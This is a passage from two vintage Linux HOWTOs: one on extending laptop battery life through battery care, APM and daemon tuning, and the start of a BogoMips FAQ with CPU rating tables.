I am sorry, but I will not be able to help you with questions about specific laptop models. I don't claim to be a laptop guru, I just happen to own one laptop myself and I simply want to share the information I collected. Please check the Linux Laptop webpage first, probably someone else has already written a page dedicated to your model. Ask your manufacturer's technical support. Or go the the laptop newsgroup comp.sys.laptops and ask there.

1.5 Disclaimer

All methods described here were tested by me and worked fine on my laptop, unless noted otherwise. However, I cannot guarantee that any of this won't crash or seriously damage your system. Life is dangerous, so keep backup copies of your important files before playing with your Linux configuration. If things go wrong, I do not take any responsibility for your data loss. In other words: Don't sue me. Thank you.

1.6 Copyright

This document shall be distributed under the standard HOWTO-copyright notice, found in the HOWTO folder at http://sunsite.unc.edu/mdw/linux.html.


Battery Powered Linux Mini-HOWTO: General information

 Next Previous Contents

2. General information

This section describes a few technical things about laptop batteries and some general power saving tips. This information is not Linux-specific and if you are experienced with laptops, you might already know all this.

2.1 Be kind to your battery

(Please note the credits for this section.)

There are currently three types of batteries commonly used for portable computers.

  • NiCd batteries were the standard technology for years, but today they are out of date and new laptops don't use them anymore. They are heavy and very prone to the ``memory effect''. When recharging a NiCd battery that has not been fully discharged, it ``remembers'' the old charge and continues there the next time you use it.

    The memory effect is caused by crystallization of the battery's substances and can permanently reduce your battery's lifetime, even make it useless. To avoid it, you should completely discharge the battery and then fully recharge it again at least once every few weeks.

    (A sidenote about the memory effect. James Youngman knows of a rather drastic method to - uhm - ``repair'' batteries: ``If your NiCd battery is suffering from the memory effect, remove it from your computer, hold it about 30cm above a desk or the floor, and drop it (make sure it lands flat).'' He says that this will break the whiskers that have formed in the battery and that are the cause of the memory effect if your battery is already affected by it. ``I don't know if this works for non-NiCd batteries or not.'')

    Cadmium is a very hazardous poison, but if returned to your dealer, the material can almost be fully recycled.

    Just in case you might be interested, here are some specs for NiCd:

    Cell voltage: 1,2 V
Energy / mass: 40 Wh/kg
Energy / volume: 100 Wh/l
max. Energy: 20 Wh
Charge temp.: 10 to 35 C (50 to 95 F)
Discharge temp.: -20 to 50 C (-5 to 120 F)
Storage temp.: 0 to 45 C (30 to 115 F)

  • NiMh batteries are the current standard used in most low price laptops to date. They can be made smaller and are less affected by the memory effect than NiCd.

    However, they have problems at very high or low room temperatures. And even though they use less hazardous and non-poisonous substances, they cannot be fully recycled yet (but this will probably change in the future).

    NiMh specs:

    Cell voltage: 1,2 V
Energy / mass: 55 Wh/kg
Energy / volume: 160 Wh/l
max. Energy: 35 Wh
Charge temp.: 10 to 35 C (50 to 95 F)
Discharge temp.: 0 to 45 C (30 to 115 F)
Storage temp.: 0 to 30 C (30 to 85 F)

  • The new high performance batteries use LiIon technology. In theory, there is no memory effect at all with these batteries, but on occasion, they seem to have similar problems. Their substances are non-hazardous to the enviroment, but they should be returned for recycling as well.

    LiIon specs:

    Cell voltage: 3,6 V
Energy / mass: 100 Wh/kg
Energy / volume: 230 Wh/l
max. Energy: 60 Wh
Charge temp.: 0 to 45 C (30 to 115 F)
Discharge temp.: -20 to 60 C (-5 to 140 F)
Storage temp.: -20 to 60 C (-5 to 140 F)

Even if the battery case looks the same, you cannot just upgrade to another battery technology. The recharging process is different for the kind of battery you use.

Some manufacturers integrate the recharging circuit inside the laptop's external ac adapter, so you might just get away with buying a new power supply to upgrade. A good indication for an external recharging unit is when your ac adapter uses a proprietary connector with a lot of power lines.

Other manufacturers put the recharging unit inside the laptop case where users cannot simply replace it with a newer technology. If your ac adapter only uses two power lines to connect to the computer (just like mine), the recharging unit is probably inside the laptop.

When in doubt, ask your manufacturer if your laptop supports a more modern battery.

A battery that is not used for a long time will slowly discharge itself. And even with greatest care, a battery needs to be replaced after 500 to 1000 recharges. But still it is not recommended to run a laptop without the battery while on ac power - the battery often serves as a big capacitor to protect against voltage peaks from your ac outlet.

As the manufacturers change the shapes of their batteries every few months, you might have problems to find a new battery for your laptop in a few years from now. Buy a spare battery now - before it's out of stock.

2.2 Power saving - The obvious stuff

There are some obvious things that you can do to reduce your system's power consumption. Well, maybe not so obvious, since not very many people follow these rules...

  • Decrease or turn off your display's backlight when you don't need it. By the way, tft displays use more power than dstn (so now you have a fine excuse why you bought the cheaper laptop...).

    (David Bateman tells me that using a crt screen while on battery and turning off the laptop display will extend battery time by about 30%: ``Not that this is a very useful piece of knowledge though, if you've got the crt plugged in then why not the laptop too.'')

  • How much processing power do you really need? I doubt that you will be doing very much more than text editing when on the road (well, at least I don't compile linux kernels then). While on battery, reducing the cpu clock speed will decrease power consumption, too. Quite a few laptops offer a cpu clock selector that will toggle between normal and slow speed.

  • Turn off the cpu cooler (if you have one). Many recent laptops offer a bios option called ``cooling control''. If your system's cpu is becoming too hot, this option allows you to have it cooled by a tiny fan (setting ``performance'') or to have its cpu clock slowed down (setting ``silence''). To increase your uptime while on battery, use ``silence''.

  • Avoid using external devices (printer, crt screen, zip drive, portable camera etc.) with your computer while on battery. When connected to a standard ink jet printer, my laptop's battery time is reduced from up to 120 minutes down to 20 minutes.

  • Avoid using any built in device unless necessairy: Diskette drive, harddisk, cd-rom. Especially cd-rom access will dramatically decrease your battery time.

  • Pcmcia cards can also consume a lot of power, so don't leave your modem or network adapter plugged in when it is not in use. But this is different between the various pcmcia manufacturers, so check the product specs before you buy (e. g. some cards never turn themselves off even when not in use).

    (By the way, I recently read that pcmcia cards are the biggest problem for windows ce palmtops - they drain so much power that the tiny machines' little batteries have to be replaced within minutes...)

  • Use simple software. A full blown multimedia application will create a lot more system load and harddisk / cd-rom activity than a small simple word processor.

  • Grant Taylor has a tip for those of us who want to upgrade their system: ``Newer versions of some upgradable components consume less power. For example, IBM's Travelstar 2.5 inch 1.6 gigabyte ide harddisk drive consumes 20 percent less than the 500 megabyte toshiba harddisk my laptop came with.''

  • If you are yet about to buy a laptop - don't buy a laptop with a 2nd level cache if battery uptime is important. A computer with 2nd level cache is about 10% to 20% faster and it will be a lot better with multimedia applications and number crunching, but it consumes a lot of power. Bjoern Kriews tells me that he has two almost identical laptops and the one without cache ram runs 4h30 compared to 2h30 with cache.

    If you already have 2nd level cache installed, turning it off will probably not help you very much. Give it a try and write me about your experience.

  • Another tip for those still buying a laptop - don't buy the latest, fastest cpu type. Usually, the older generations are optimized by the manufacturer after some time without notice. The ``new'' versions of old cpu types often create less heat and consume less power than the product's premiere version.

    There are also frankenstein laptops available that use cpus not optimized for portable systems. As I wrote this in May 97, the newest generation pentium-200 laptops ran about 20 minutes on battery and became so hot that they burnt your lap. When writing the second revision in Oct 97, pentium-233 laptops run two hours or longer without ac power. Go figure.

Well, you get the idea. Most of these are restrictions that will probably stop you from doing any serious work with your Linux system. (The best way to save power while on battery is... not to do anything at all. That increases my laptop's battery uptime by almost 100 percent.)

So let's go ahead to some other, more useful measures that will save power without disturbing your work.


Battery Powered Linux Mini-HOWTO: Advanced Power Management

 Next Previous Contents

3. Advanced Power Management

Portable systems in general, but even many desktop computers come equipped with support for apm, the ``advanced power management'' scheme. This section describes how to activate apm support in your Linux kernel. People who are experienced with Linux may find this section rather boring and want to skip to the next.

3.1 What APM can do for you

I won't describe it in detail here, check the Linux APM drivers page at http://www.cs.utexas.edu/users/kharker/linux-laptop/apm.html for more information. All that you need to know is that with the help of apm, the cpu can tell the bios when there's nothing really exciting going on so that the bios can take care of some power saving by itself - e. g. reducing the cpu clock, turning off the harddisk, turning off the display's backlight etc.

Apm is also responsible for the ``system suspend'' (or ``sleep'') mode and for the ``suspend to disk'' (or ``hiberntation'') mode. And yet another cool, though not very important feature is that with the help of apm, shutdown -h will not just halt your system, but also turn it off.

(By the way, most Linux systems put a shutdown -r in their /etc/inittab and map it to pressing control-alt-delete. I prefer having shutdown -h there, so when pressing the famous key combination, my laptop simply turns itself off.)

Not all manufacturers implement a correct apm bios, so some laptops have trouble with the Linux apm drivers (if your machine has trouble with apm, it will most likely either lock up at Linux' boot up or after returning from suspend). If you are not sure, check the Linux laptop page for your specific model.

3.2 How to activate APM support in Linux

It's easy - just recompile the Linux kernel. Check the Kernel-HOWTO if you don't know how to do that.

When the configuration script reaches the ``character devices'' section, the default setting for full apm bios support in kernel version 2.0.30 or higher is:

Advanced Power Management BIOS support: Yes
Ignore USER SUSPEND: No
Enable PM at boot time: Yes
Make CPU Idle calls when idle: Yes
Enable console blanking using APM: Yes
Power off on shutdown: Yes

Please read the configuration script's help texts. They explain in detail what each option does, so I won't repeat them here.

If your system does not fully support the apm bios standard, some of those options might crash your system. Test all apm features with the new kernel to make sure that everything works as it should.

(A sidenote about console blanking: David Bateman tells me that you should not enable it because it can cause problems with the current version of XFree 3.2: ``The symptoms are that the screen will be blank when X starts, and it can be fixed usually by just hitting a key. It's a small but annoying problem. The next relase of XFree, will have pretty good DPMS support for a lot of laptop chipset, which should include code to turn off the LCD. Check out the manpage for xset in XFree 3.2A.'' David also notes that the lifetime of your display's backlight is determined by the number of times it's switched on and off: ``So its a compromise, lifetime of the battery versus lifetime of the backlight.'')

(Update: With XFree 3.3, this problem still remained on my laptop. I am told that this will be fixed in a future kernel version.)

3.3 APM support and the PCMCIA drivers

After recompiling the kernel, don't forget to recompile the linux pcmcia drivers as well.

The precompiled pcmcia drivers that come with most linux distribution have apm support disabled, so that the bios can't instruct your card adapters to turn off.

Also, you must recompile the drivers if you upgrade to a new kernel version and your old kernel was compiled with module version information turned on (this option is found in the ``loadable module support'' section of the kernel configuration).

Read the PCMCIA-HOWTO for detailed instructions on how to compile the drivers or go to the Linux PCMCIA drivers homepage at http://hyper.stanford.edu/HyperNews/get/pcmcia/home.html.

3.4 The apmd package

Now that you have APM support installed, go and get the apmd package from the Linux APM drivers page. You don't really need it, but it is a very useful collection of programs. The apmd daemon logs your battery's behaviour and it will send out a warning if you are on low power. The apm command will suspend your system with a shell command and xapm shows the current state of your battery.

(BTW, if you have problems with pcmcia cards after returning from suspend, you can check out an alternative apmd package at http://www.cut.de/bkr/linux/apmd/apmd.html. It unloads the pcmcia driver module before going to suspend and reloads the module on resume.)

Grant Taylor has been playing a little with the apmd package and came up with helpful tips.

He found that his laptop's harddisk forgets its hdparm -S standby period when returning from suspend: ``I modified apmd to reset this setting on each resume. This may be system-specific; but it's an important thing to do...''

(Note: On my own laptop, the bios takes care of the harddisk standby period and resets the value on resuming. So I could not test if this little problem is system-specific. If it happens to you as well, send me a message.)

Grant also had a nice trick for screen blanking with the XFree86 package and the help of the apmd package, you'll find it there.

3.5 And if my laptop does not support APM?

If your computer's bios does not offer any power saving settings (even the old ones without apm should at least allow to set harddisk and display standby), you can use hdparm -S to define your harddisk's standby period. This will already help a lot, since harddisk activity consumes a lot of power. Your system should have hdparm installed, so read man hdparm for the command syntax.


Battery Powered Linux Mini-HOWTO: Changing some general system settings

 Next Previous Contents

4. Changing some general system settings

After I got Linux up and running on my laptop, I found it accessing the harddisk every few seconds, even when there was no user logged in to the system. The harddisk could never enter its power saving mode. Reducing harddisk activity can greatly increase the battery runtime, so this is why I collected the following recipes.

I tested all this with RedHat 4.1, the locations of some configuration settings may be different for your distribution. (If so, please let me know.)

4.1 The crond daemon and atrun

Check your /etc/crontab file if it starts a process every minute. You will often find atrun there.

With the at command, you can spool commands that must be invoked some time in the future. Some Linux systems use a dedicated atd daemon to take care of this, others (e. g. RedHat) let the crond daemon run atrun once every minute.

This is not really necessairy on most systems, since at commands rarely depend upon being invoked on exact time. So if you find a line like this in your /etc/crontab:

# Run any at jobs every minute
* * * * * root [ -x /usr/sbin/atrun ] && /usr/sbin/atrun

Then you can safely change this to:

# Run any at jobs every hour
00 * * * * root [ -x /usr/sbin/atrun ] && /usr/sbin/atrun

Read man 5 crontab for details. Some folks can even work fine without the crond daemon, so if you know what you are doing, you might want to consider disabling it completely.

4.2 The update / bdflush daemon

Linux deals with a lot of open file buffers at any given moment, so the system must make sure that file changes are saved to the harddisk as soon possible. Otherwise, those changes will be lost after a system crash.

The update / bdflush daemon takes care of this. (These are two names for the same program, so you can use either name to start the daemon). The default settings will make this daemon call flush every 5 seconds and sync every 30 seconds.

With my Fujitsu disk this caused non-stop access. (It seems that this harddisk flushes its ram cache even when nothing has changed. But this depends on your harddisk's firmware: Other people told me that their harddisk does enter its power saving mode even without the following modification.)

Since Linux does not crash very often anymore, I have changed both values to 3600 seconds (= one hour). This caused no problems at all and the constant disk access has stopped. (But if my system crashes now, there will be more broken files, of course.)

RedHat 4.1: In /etc/inittab, change the update call to:

ud::once:/sbin/update -s 3600 -f 3600

Suse 4.4.1: update is called in /sbin/init.d/boot.

Slackware: update is called in /etc/rc.d/rc.S.

See man update for details.

4.3 The syslogd daemon

The syslogd daemon is responsible for the various Linux system log files that are found in the /var/log/ directory. By default syslogd will sync the log file each time after logging a system message.

You can turn that off by preceding the filename with a dash in /etc/syslog.conf. Here's an example as found in my system's syslog.conf:

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none                  -/var/log/messages

This again means that if the system crashes, the message that reported the problem may not have been stored to disk. Dilemma...

4.4 The init command

During the bootup, the initial processes and daemons will be started using the init command. This command (yet again) calls sync before each process it creates.

You can change this by removing the sync() call in the source code and recompiling the command.

To avoid problems with lost file buffers, you should add a call to sync in your system's /etc/rc.d/init.d/halt script, right before the script unmounts the file systems.

4.5 The swap partition

The Linux swap partition is used to increase the physical ram space with virtual memory. This again is a possible reason for harddisk access. If your laptop already has a lot of ram or if the applications that you use are quite simple (think of vi), you might want to consider turning it off.

This of course depends on what you plan to do. 4 to 8 megs are not enough, you must use a swap partition then. With 8 to 16 megs, text console applications will work fine and if you can avoid using a lot of multitasking features, you can safely disable swap. The X-Windows enviroment requires a lot of ram and you should not use it without a swap partition unless you really have a lot more than 16 megs.

(Sidenote: My laptop with 16 megs and disabled swap partition can run an emacs session, four bash shells and compile a kernel without running out of memory. That's enough for me.)

If you already have installed a swap partition, you can disable it by preceding the swapon command that is called in /etc/rc.d/rc.sysinit with a hash mark. If you don't want to make it a permanent move, let the system ask during boot if you want to use the swap partition. In /etc/rc.d/rc.sysinit (RedHat 4.1) or /sbin/init.d/boot (Suse 4.4.1):

echo "Should the system use swap?"
echo "  0: No."
echo "  1: Yes."
/bin/echo "Your choice: \c"
read SWAPCHOICE

case "$SWAPCHOICE" in
    0)
        # Do nothing.
        echo "(Swap partitions disabled)"
        ;;
    *)
        # Start up swapping.
        echo "Activating swap partitions"
        swapon -a
esac

Then you can use the swap partition while on ac power and drop it while on battery.

4.6 The apache httpd webserver daemon

I am using my laptop to develop and test cgi scipts for websites, that is why I am running a local webserver on it. The standard configuration is a bit too much if all you want to do is just test a script or check a page from time to time.

In httpd.conf, just change the values of MinSpareServers and StartServers to 1. This will be enough for a local test site.

If you wish to turn off the webserver's logging, you must recompile the httpd daemon. Read the documentation for details.

Grant Taylor recompiled apache's logging and found that this ``didn't make it stop churning the disk. So I used another, IMHO better, solution: I configured apache to run from inetd instead of standalone.'' Read man inetd for details.

4.7 The XFree86 package

Configuring XFree86 for laptops is a story of its own. And yet again, I have to refer you to the Linux Laptop page where you will find a lot of help on this.

X's console blanking only turns the screen black, but does not turn it off. As mentioned in the sidenote about console blanking, you can use xset's dpms option to change this. However, this feature depends on your laptop's graphics chipset and bios.

Grant Taylor uses the following setup to send his laptop to sleep with the help of apmd and the screensaver:

# Run xscreensaver with APM program
xscreensaver -timeout 5 \
             -xrm xscreensaver.programs:apm_standby \
             -xrm xscreensaver.colorPrograms:apm_standby &

Where ``apm_standby is a suid perl script that allows only certain people to run apm -S.''

4.8 The emacs editor

Ok, emacs is not an editor, but a way of life. Here's a tip from Florent Chabaud: ``If you use emacs, perhaps you have noticed that the editor makes some automatic saves. This is of course useful and should not be disabled, but the default parameters can be adjusted to a laptop use.

I have put in the file /usr/share/emacs/site-lisp/site-start.el the two following lines:

(setq auto-save-interval 2500)
(setq auto-save-timeout nil)

This disables auto-saving based on time, and makes the auto-saving be done every 2500 keyboard actions. Of course if you are typing a text this last parameter should be reduced, but for programming it is sufficient. Since every action (up, down, left, backspace, paste, etc...) is counted, 2500 actions are reached very rapidly.''

4.9 How to find more ways to optimize

If your Linux system still seems to access the harddisk too often, you can find out what is going on inside by using the ps ax command. This will show all running processes and their full name, sometimes it also reveals the command line arguments of each process.

Now read the man page of each process to find out what it does and how to change its behaviour. With this method, you will most likely find the process that is responsible. You may also find strace helpful.

Please send me an email if you found something new.


Battery Powered Linux Mini-HOWTO: Appendix

 Next Previous Contents

5. Appendix

5.1 A message to Linux distributors

If you happen to be a Linux distributor, thank you for reading all this. Laptops are becoming more and more popular, but still most Linux distributions are not very well prepared for portable computing. Please make this document obsolete and change this for your distribution.

  • The installation routine should include a configuration, optimized for laptops. The ``mimimal install'' is often not lean enough. There are a lot of things that a laptop user does not need on the road. Just a few examples. There is no need for three different versions of vi (as found in Suse Linux). Most portable systems do not need printing support (they will never be connected to a printer, printing is usually done with the desktop system at home). Quite a few laptops do not need any network support at all.

  • Don't forget to describe laptop-specific installation problems, e. g. how to install your distribution without a cd-rom drive or how to setup the plip network driver.

  • Add better power management and seamless pcmcia support to your distribution. Add a precompiled kernel and an alternative set of pcmcia drivers with apm support that the user can install on demand. Include a precompiled apmd package with your distribution.

  • Add support for dynamically switching network configurations. Most Linux laptops travel between locations with different network settings (e. g. the network at home, the network at the office and the network at the university) and have to change the network id very often. Changing a Linux system's network id is a pain with most distributions.

Please mail me if your distribution is optimized for portable computing and what kind of features you added for that. Future versions of this HOWTO will include a section where you can advertise your distribution's laptop features.

5.2 Credits

  • The information about battery technology is mostly based on the article ``Stromkonserve'' by Michael Reiter, published in ``c't Magazin fuer Computertechnik'' (Heise Verlag Hannover, Germany), edition 10/96, page 204. Used by permission. Visit their website at http://www.heise.de/.

  • The following people contributed to this document:

    Frithjof Anders <anders@goethe.ucdavis.edu>
David Bateman <dbateman@ee.uts.edu.au>
Florent Chabaud <chabaud@celar.fr>
Markus Gutschke <gutschk@uni-muenster.de>
Kenneth E. Harker <kharker@cs.utexas.edu>
Bjoern Kriews <bkr@rrz.uni-hamburg.de>
R. Manmatha <manmatha@bendigo.cs.umass.edu>
Juergen Rink <jr@ct.heise.de>
Grant Taylor <gtaylor@picante.com>
James Youngman <JYoungman@vggas.com>

5.3 About this document

This text mentions batteries 53 times.

The current version of this and many other HOWTOs, most of them a lot more useful than this one, can be found at the main Linux documentation site http://sunsite.unc.edu/mdw/linux.html or at one of its many mirror sites.

Most of this text was written during my trips between Hamburg and Hannover on German rail. (The new ice-2 coaches have power outlets for laptops, yeah!).

And now hum along with me: ``...on the road again...''


BogoMips mini-Howto

Wim van Dorst, WvD@clifton.nl

v33, 2002-04-07

This text gives some information about BogoMips, compiled from various sources such as news and e-mail. This text, initially started back in 1993 as BogoMips Information Sheet, is retrievable in the most up-to-date version from its homepage at www.clifton.nl, and from the various Linux archives in the file .../HOWTO/mini/BogoMips. Translations are reported to be available in Chinese, French, German, Hungarian, Indonesian, Italian, Japanese, Norwegian, Polish, Portuguese, Spanish, and Slovak from appropriate archives. An explanatory article, titled 'the Quintessential Linux Benchmark,' was published in the Linux Journal, vol 21, January 1996. The BogoMips is also explained in The Jargon File. New mini-Howto entries for unlisted CPUs will be highly appreciated. They can be send per e-mail to the author.

1. Lowest and highest BogoMips ratings

  • 1.1 The lowest Linux boot sequence BogoMips value
  • 1.2 The highest single-CPU Linux boot sequence BogoMips value
  • 1.3 The highest multiple-CPU Linux boot sequence BogoMips value
  • 1.4 The highest non-Linux BogoMips value

2. The frequently asked questions about BogoMips

  • 2.1 What are BogoMips
  • 2.2 How to estimate what the proper BogoMips rating should be
  • 2.3 How to determine what the current BogoMips rating is
  • 2.4 Variations in BogoMips rating
  • 2.5 New BogoMips algorithm?
  • 2.6 BogoMips ... failed
  • 2.7 What about clone CPUs (Cyrix, NexGen, AMD, etc)
  • 2.8 Why to pay attention to BogoMips

3. Compilation of ratings

  • 3.1 386 systems: SX, DX, Nexgen
  • 3.2 Oddly or faultily configured 386 systems
  • 3.3 486 systems
  • 3.4 Oddly or faultily configured 486 systems
  • 3.5 486 variations: Cyrix/IBM, UMC
  • 3.6 Pentium systems
  • 3.7 Oddly or faultily configured Pentium systems
  • 3.8 Pentium variations: Intel (MMX, Pro, II, Celeron, III, 4)
  • 3.9 Pentium variations: Cyrix, AMD (K5/K6/K7, Duron, Athlon), Centaur
  • 3.10 Alpha systems
  • 3.11 Motorola systems
  • 3.12 Sparc systems
  • 3.13 PowerPC systems
  • 3.14 Other CPU systems: Mips, Intel 8088/286 ELKS, IBM, Crusoe
  • 3.15 Multi-CPU systems
  • 3.16 Non-Linux systems (reference only)

4. Signature


BogoMips mini-Howto: Lowest and highest BogoMips ratings

 Next Previous Contents

1. Lowest and highest BogoMips ratings

The following are the lowest and the highest BogoMips ratings, as reported directly to me, or published on Usenet.

1.1 The lowest Linux boot sequence BogoMips value

  • Tim Van der Linden, timvdl@innet.be
  • Intel 8088, at 4.77 MHz, ELKS
  • 0.02 BogoMips

1.2 The highest single-CPU Linux boot sequence BogoMips value

  • Jeffrey Esquivel, jeroot@angloamericano.ed.cr
  • Intel Pentium 4, at 1700 MHz
  • 3407.87 BogoMips

1.3 The highest multiple-CPU Linux boot sequence BogoMips value

  • Dan Kirkpatrick, dkirk@physics.syr.edu
  • 102 CPU Beowulf of Pentium IIIs, at 1000MHz
  • 203862.30 BogoMips

1.4 The highest non-Linux BogoMips value

  • omega@sequent.com
  • Sequent Numa-Q, 32 Pentium CPUs at 180MHz
  • Dynix operating system
  • 3776.00 BogoMips


BogoMips mini-Howto: The frequently asked questions about BogoMips

 Next Previous Contents

2. The frequently asked questions about BogoMips

Several authors have contributed to my knowledge of BogoMips. In this place, I would like to thank them highly.

2.1 What are BogoMips

Quoted from the Internet, origin unknown but brought to the attention by Eric S Raymond esr@thyrsus.com, and Geoff Mackenzie freon@dialstart.net, there is an humourously illustrative definition of BogoMips as ''the number of million times per second a processor can do absolutely nothing.''

On a more precise basis, from Lars Wirzenius' wirzeniu@kruuna.Helsinki.FI mail of 9 September 1993, explaining Bogomips, with additional detailed information by Alessandro Rubini, rubini@norgana.systemy.it, and by Wim van Dorst:

`MIPS is short for Millions of Instructions Per Second. It is a measure for the computation speed of a program. Like most such measures, it is more often abused than used properly (it is very difficult to justly compare MIPS for different kinds of computers).

BogoMips are Linus's invention. The kernel (or was it a device driver?) needs a timing loop (the time is too short and/or needs to be too exact for a non-busy-loop method of waiting), which must be calibrated to the processor speed of the machine. Hence, the kernel measures at boot time how fast a certain kind of busy loop runs on a computer. "Bogo" comes from "bogus", i.e, something which is a fake. Hence, the BogoMips value gives some indication of the processor speed, but it is way too unscientific to be called anything but BogoMips.

The reasons (there are two) it is printed during boot-up is that a) it is slightly useful for debugging and for checking that the computers caches and turbo button work, and b) Linus loves to chuckle when he sees confused people on the news.'

BogoMips are being determined in /usr/src/linux/init/main.c (simple C algorithm, with a nice example of floating point arithmetic within the fully integer kernel), and the pertaining kernel variable loops_per_sec is used in several drivers for more serious purpose. The actual delay function udelay() is in assembler, and therefore each port has its own definition in /include/asm/delay.h. The loops_per_sec variable and the udelay() function are used in numerous drivers, see:

cd /usr/src/linux #or where else source is located
find . -name '*.[hcS]' -exec fgrep loops_per_sec {} /dev/null \;
find . -name '*.[hcS]' -exec fgrep udelay {} /dev/null \;

The BogoMips calculation loop for the non Intel CPUs is similar but not the same, because it is programmed in another assembler language. BogoMips is however the only portable way over the various CPUs (Intel-type and non Intel-type) for getting an indication of the CPU speed. Even CPU clock speed is not available on all CPUs.

2.2 How to estimate what the proper BogoMips rating should be

From a initiative by Ian Jackson, ijackson@nyx.cs.du.edu, and Przemek Klosowski, much updated and expanded by Wim van Dorst for current data, as listed below:

As a very approximate guide, the BogoMips can be calculated by:

System                      BogoMips           Comparison
Intel 8088                  clock * 0.004         0.02
Intel/AMD 386SX             clock * 0.14          0.8
Intel/AMD 386DX             clock * 0.18          1 (definition)
Motorola 68030              clock * 0.25          1.4
Cyrix/IBM 486               clock * 0.34          1.8
Intel Pentium               clock * 0.40          2.2
Intel 486                   clock * 0.50          2.8
AMD 5x86                    clock * 0.50          2.8
Mips R4000/R4400            clock * 0.50          2.8
Motorola 68040              clock * 0.67          3.7
PowerPC 603                 clock * 0.67          3.7
Nexgen Nx586                clock * 0.75          4.2
PowerPC 601                 clock * 0.84          4.7

Alpha 21064/21064A          clock * 0.99          5.5
Alpha 21066/21066A          clock * 0.99          5.5
Alpha 21164/21164A          clock * 0.99          5.5
Intel Pentium Pro           clock * 0.99          5.5
Cyrix 5x86/6x86             clock * 1.00          5.6
Intel Pentium II/III        clock * 1.00          5.6
AMD K7/Athlon               clock * 1.00          5.6
Intel Celeron               clock * 1.00          5.6
Intel Itanium               clock * 1.00          5.6
Mips R4600                  clock * 1.00          5.6

Alpha 21264                 clock * 1.99         11.1
AMD K5/K6/K6-2/K6-III       clock * 2.00         11.1
AMD Duron                   clock * 2.00         11.1
UltraSparc II               clock * 2.00         11.1
Pentium MMX                 clock * 2.00         11.1
Pentium 4                   clock * 2.00         11.1
Centaur C6-2                clock * 2.00         11.1
PowerPC 604/604e/750        clock * 2.00         11.1
Motorola 68060              clock * 2.01         11.2

IBM S390                    not enough data (yet)

Note that the BogoMips calculation loop does not take full advantage of the parallelism of various processors, such as the Intel Pentium and the Alpha 21164. Also read the section on 'New BogoMips algorithm?' below, since for some of these CPUs recent kernels may give different data.

2.3 How to determine what the current BogoMips rating is

There are three methods to determine the current BogoMips, viz.

  1. looking in /proc/cpuinfo, e.g., with `cat /proc/cpuinfo`. This method is highly preferred above the alternatives.
  2. looking in the syslog output to see what was printed there during booting. If you're lucky the information may still be on the booting virtual console (if necessary, switch to it with the Alt-F1 key combination), otherwise you can retrieve the information explicitly with dmesg or syslogk. This alternative gives accurate information but is more work.
  3. using the standalone bogomips program. This is only recommended for non-Linux system, for reasons pointed out below.

A non-determinative alternative, which is also applicable for non-Linux systems such as Crays and so, may be a standalone BogoMips program. Two versions are currently available, one from Jeff Tranter, jeff_tranter@mitel.com, and one from Darrick Wong djwong@thibs.menloschool.org. From Jeff's readme file:

`Tired of rebooting your system so you can see how many BogoMips it's running at today? [...] "Bogomips" is a standalone program that displays your system performance using one of the world's most recognized benchmarks. It uses the same code that is used in the Linux kernel while booting, but runs as a user program. [...] Version 1.3 of BogoMips is now portable and should run on any system that supports an ANSI C compiler and library.'

Note that due to system load values calculated with a standalone program on Linux systems may be quite different from registered in the list below. Intrinsically a standalone program cannot give precisely similar information to the boot sequence BogoMips, since system load will compete with the program run by an ordinary user. Therefore only boot sequence BogoMips ratings are listed below.

Be aware that Jeff's file sunsite.unc.edu:/pub/Linux/system/status/bogo-1.2.tar.gz/ contains the latest version 1.3 (sic), which is yet rather outdated. Alternatively, check out Darrick's program on http://thibs.menloschool.org/~djwong/programs/bogomips/.

2.4 Variations in BogoMips rating

From Linus Torvalds, torvalds@cc.helsinki.fi, explaining about the variation one may see in the BogoMips rating, in c.o.l.development, at 28 April 1994

`The BogoMips calculation loop is "quantizised", so you're most likely to get the exact same number all the time. You usually will get different numbers only if the speed is just on the "edge", when small variations (different time for interrupt ticks etc) will make it jump from one value to the other.'

If a kernel is not compiled specifically for the pertaining CPU, also some (even large) variations of the BogoMips ratings can occur, mainly due to erroneous alignment. This problem apparently only occurs on the various x86 CPUs (Intel and clones). Fortunately it can easily be solved: recompile the kernel specifically for your CPU.

2.5 New BogoMips algorithm?

No, the BogoMips algorithm, contrarily to popular believe, did NOT change over the various kernel versions. Furthermore, it is intrinsically the same for all CPUs of all makes.

What did change in kernel version 2.2.14 is the CPU state setting just before the BogoMips calculation. This affects the BogoMips rating for all Intel and AMD Pentium variations, resulting in approximately 2*clock, where these were not 2*clock.

The entries based on these upgraded kernel versions for CPUs where this change was actually relevant for (Pentium II/III, Celeron, Athlon) are marked in the list below with an initial * (star symbol).

2.6 BogoMips ... failed

Suggested by various questions on the net and private mail, e.g., by Lily, lbliao@alumni.caltech.edu, and by Pierre Frenkiel, frenkiel@cdfap2.in2p3.fr. In March 1995 they asked:

`When I boot Linux I get the message:
      Calibrating delay loop.. ok - 23.96 BogoMips
      failed
Where/why has the calibration delay loop failed?'

It didn't fail. If it had failed the text would have been

      Calibrating delay loop.. failed

What likely did fail was a driver for some gadget which you may not have in your machine. Just after calculating the BogoMips rating all device drivers are initiated. First the SCSI devices, then Net devices, etc. Any failure is duly reported. Noteworthy is the AHA152x driver. Other effects of failing drivers (and not of failing BogoMips calculations) are systems crashes, long waits, and complete system locks, somewhere close to (just before or just after) outputting the ok - xx.xx BogoMips text.

Since Linux 1.2 many error messages have improved, so upgrade to at least that version to find out which particular driver it is that is failing. Also recompile the kernel to only include the drivers that are actually needed for your hardware configuration.

2.7 What about clone CPUs (Cyrix, NexGen, AMD, etc)

Cyrix 486-like CPUs need cache enabling software, sometimes referred to as BogoBoost software. Cyrix 5x86 and 6x86 CPUs may have their BogoMips improved drastically by branch-prediction (BIOS option). Note that the performance improvement may be marginal. There are several packages available for adjusting Cyrix CPUs, such as the BogoBoost patch, cx5x86mod, and set6x86, all from the normal archives, in obvious places. It is reported the Cyrix 6x86 CPUs may give better performance when the kernel is compiled with 486-optimization, instead Pentium-optimization.

NexGen 386-enhanced CPUs, marked as Nx586, are listed as 386-like, since the fact that they are performing like Pentium machines is not relevant to BogoMips.

AMD 5x86, also denoted as AMD 486DX5, are quadrupled 486/33 machines. They are fully in line with other 486 CPUs. The AMD K5 and the K6 are Pentium-like CPUs, with their own BogoMips multipliers.

2.8 Why to pay attention to BogoMips

Let me add that there are only two reasons for paying attention to the BogoMips rating that is presented on booting Linux:

  1. To see whether it is in the proper range for the particular processor, its clock frequency, and the potentially present cache. Many CPUs are prone to faulty setups of
    • memory cache setting (write-back is wrong for BogoMips, often reported lower than 5; write-through is ok)
    • turbo-buttons (should be ON)
